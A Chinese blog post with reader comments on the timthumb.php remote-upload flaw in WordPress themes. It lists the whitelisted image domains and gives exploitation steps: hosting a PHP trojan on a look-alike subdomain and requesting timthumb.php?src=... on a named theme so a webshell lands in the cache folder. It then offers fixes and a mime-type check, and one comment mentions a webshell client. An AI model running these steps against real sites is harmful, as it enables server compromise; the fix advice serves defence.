今天早上 CNBETA爆出了 wordpress 的 谷歌写的 timthumb.php 上传漏洞
我分析了下 入侵规则如下:
0 =>
string
'flickr.com' (length=10) 1 =>
string
'picasa.com' (length=10) 2 =>
string
'blogger.com' (length=11) 3 =>
string
'wordpress.com' (length=13) 4 =>
string
'img.youtube.com' (length=15)
以上文件是timthumb.php 支持 图片的下载地址 或者 ALLOW_EXTERNAL 为TRUE 都会被跳过域名检查.
漏洞利用:
创建一个域名 http://flickr.com.80aj.com/
目录下上传 80aj.php
寻找有 timthumb.php 的主题或者插件包
这里只提供一个 关于 loper1.2 主题包 中就自带 timthumb.php文件
使用如下URL上传木马:
http://www.*.com/wp-content/themes/loper1.2/timthumb.php?src=http://flickr.com.80aj.com/80aj.php
上传完以后访问:
http://www.*.com/wp-content/themes/loper1.2/cache/
寻找刚才上传的文件 直接访问即可.
修复方法:
cache 目录下创建 index.html 或者 php
进制 cache目录执行PHP相关代码
代码后缀过滤 ,虽然代码中过滤了 进制上传的类型 但还是会下载下来
timthumb.php 相关强制关闭
/**
* determine the file mime type
*
* @param $file
* @return
*/
function mime_type ($file) {
$file_infos = getimagesize ($file);
$mime_type = $file_infos['mime'];
// use mime_type to determine mime type
if (!preg_match ("/jpg|jpeg|gif|png/i", $mime_type)) {
display_error ('Invalid src mime type: ' . $mime_type);
echo "sorry ,error src type";
exit();
}
return $mime_type;
}
timthumb.php相关新闻:
http://www.cnbeta.com/articles/150685.htm
哥们 刚转载了你的这篇博文,你可以详细的说下怎么修复么?
呃 timthumb.php 文件 他提供了1个远程 图片下载功能。。。只要进制保存文件的目录不能执行脚本
因为文件所能下载的域名地址被限制死了。。所以没有做图片的较严
谢谢~
菜刀+phpsay 还有什么ne `